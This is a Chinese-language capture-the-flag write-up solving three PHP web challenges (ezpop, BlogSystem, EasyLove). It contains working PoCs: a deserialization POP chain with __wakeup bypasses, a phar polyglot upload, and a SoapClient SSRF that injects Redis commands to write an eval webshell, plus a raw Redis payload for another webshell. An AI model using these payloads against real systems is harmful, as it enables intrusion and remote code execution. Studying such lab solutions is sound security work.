DASctf x GFctf 十月挑战赛 wp
那几天在补作业和打数据安全比赛,拖了有点久,确实要反思一下自己了
ezpop
链子很好想
sorry:__destruct->show:__toString->secret_code::call->secret_code::show->sorry::__get->fine:: __invoke
但是要是这样写就不对了
$fine = new fine("var_dump", "hack!");
$secret_code = new secret_code($fine);
$show = new show($secret_code);
$sorry = new sorry("thai","thai");
$sorry->hint = $show;
因为$sorry执行destruct的时候必须是$sorry没有被使用的情况,那就是 $a->setPassword(md5(mt_rand()));执行以后
$a = unserialize($_GET['pop']);
$a->setPassword(md5(mt_rand()));
所以如何让二者值相等,这里使用引用的方法绕过
public function __construct($password)
{
$this->name = &$password;
$this->password = $password;
}
...
$sorry = new sorry("thai");
poc
<?php
class fine
{
private $cmd;
private $content;
public function __construct($cmd, $content)
{
$this->cmd = $cmd;
$this->content = $content;
}
}
class show
{
public $ctf;
public $time = "Two and a half years";
public function __construct($ctf)
{
$this->ctf = $ctf;
}
}
class sorry
{
private $name;
private $password;
public $hint = "hint is depend on you";
public $key;
public function __construct($password)
{
$this->name = &$this->password;
$this->password = $password;
}
}
class secret_code
{
protected $code;
public function __construct($name)
{
$this->code = $name;
}
}
//sorry:__destruct->show:__toString->secret_code::call->secret_code::show->sorry::__get->fine:: __invoke
$fine = new fine("var_dump", "hack!");
$sorry1 = new sorry("123");
$sorry1 -> key = $fine;
$secret_code = new secret_code($sorry1);
$show = new show($secret_code);
$sorry = new sorry("thai");
$sorry->hint = $show;
echo urlencode(serialize($sorry));
随后用我讲过的绕过wakup的总结,(fast-destruct)
可以用的方法很多,
- 删除最后一个}
- 改sorry属性数量
- 改fire属性数量
但是注意由于finecontent含有payload。所以不可以删除最里面类的分号
这里怎么删都不会执行wakup,可能是因为public $hint = "hint is depend on you";
BlogSystem
简析出思路
任意文件读取拿到源码
这题的关键是只要知道这个
相当于cat ../* ,这样可以看到内容
根据题目,我们需要写一个cat 到upload目录,然后backdoor那里 / 就可以枚举根目录的文件内容了
看了下既然限制传输文件后缀,那就考虑Phar
public function __toString(){
$file = substr($_GET['file'],0,3);
file_put_contents($file, "Hack by $file !");
return 'Unreachable! :)';
}
这里?file=cat
就可以写文件
但是需要触发tostring
注意到user的
public function __destruct(){
if ($this->username == '') {
session_destroy();
}
}
$this->username == ''就行字符串比较时会调用toString的
由于是destruct触发,所以还是老套路fast-destruct,删掉大括号就好
但是这里删大括号的话要计算数字签名,用引用绕过也可以
操作含细节
注意到:
如果是写入cat文件的话,User的wakup的下面这里
if ($cklen != 0 and $cklen <= 6) {
$this->username = $_SESSION["username"];
}
会有影响,而Test的wakup执行与否并不会影响
if ($cklen != 0 and $cklen <= 6)
这个不成立的条件很多,最容易想到的是弄一个超过6字符的username,只需要绕过前端就可以创建这个username
它题目的环境有点问题,我自己本地搭了一个
<?php
class User
{
public $username;
}
#更新了一个恶意又有趣的Test类
class Test
{
public $value;
}
$test = new Test();
$user = new User();
$user -> username = $test;
echo serialize($user);
@unlink("phar.phar");
$phar=new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub('GIF89a'."__HALT_COMPILER();");
$phar->setMetadata($test);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
随后改png后上传
之后访问
http://127.0.0.1/file.php?m=show&file=cat&filename=phar://upload/dasctfaee3e511071a93809c610d61428822f7.png
成功
之后要 /
有几种思路
引用绕过wakup
如果用前面的payload,本地把wakup输出,会发现顺序是这样
User包含着Test的话,wakup顺序是先Test后User
为了实现Test的value可控,注意到User 的wakup会改变username的值,这个是可控的
如果能把Test的value绑定到User的username上,就可以再赋值一次,相当于可控了
很容易想到引用,Test->value = &User -> username
但是如果直接
$test = new Test();
$user = new User();
$test -> value = &$user -> username;
echo serialize($test);
那么wakup的顺序就改变了,变成先User后Test,就没啥意义 (而且注意到反序列化出来的$test -> value直接是N,而不是R)
所以还是要保持原来的顺序,我们无中生有一个参数就行
$test = new Test();
$user = new User();
$user -> a = $test;
$test -> value = &$user -> username;
echo serialize($user);
总之记住无中生有和保持顺序
所以做法是:再注册一个用户为 /,上传文件,访问
EasyLove
<?php
$target='http://127.0.0.1:6379/';
$poc0="AUTH 20220311";
$poc="CONFIG SET dir /var/www/html";
$poc1="SET x '<?@eval(\$_POST[1]);?>'";
$poc2="CONFIG SET dbfilename cmd.php";
$poc3="SAVE";
$a = array('location' => $target,'uri' =>
'hello^^'.$poc0.'^^'.$poc.'^^'.$poc1.'^^'.$poc2.'^^'.$poc3.'^^hello');
$aaa = serialize($a);
$aaa = str_replace('^^',"\r\n",$aaa);
$c=unserialize($aaa);
class swpu{
public $wllm = 'SoapClient';
public $arsenetang = null;
public $l61q4cheng;
public $love;
}
$a=new swpu();
$a->l61q4cheng=$c;
echo urlencode(serialize($a));
?>
之后
1=system('date -f /hereisflag/flllll111aaagg 2>1.txt');
访问1.txt就行
这里考察的是低版本redis可以把请求头的命令直接执行
本来的想法是自己伪造redis可用的post体,类似于下面这种
*1
$8
flushall
*3
$3
set
$1
1
$33
<?php eval($_POST["thai"]);?>
*4
$6
config
$3
set
$3
dir
$13
/var/www/html
*4
$6
config
$3
set
$10
dbfilename
$9
5he1l.php
*1
$4
save
*1
$4
quit
然后用soupClient发post包,但可想而知这个脚本得有多难写了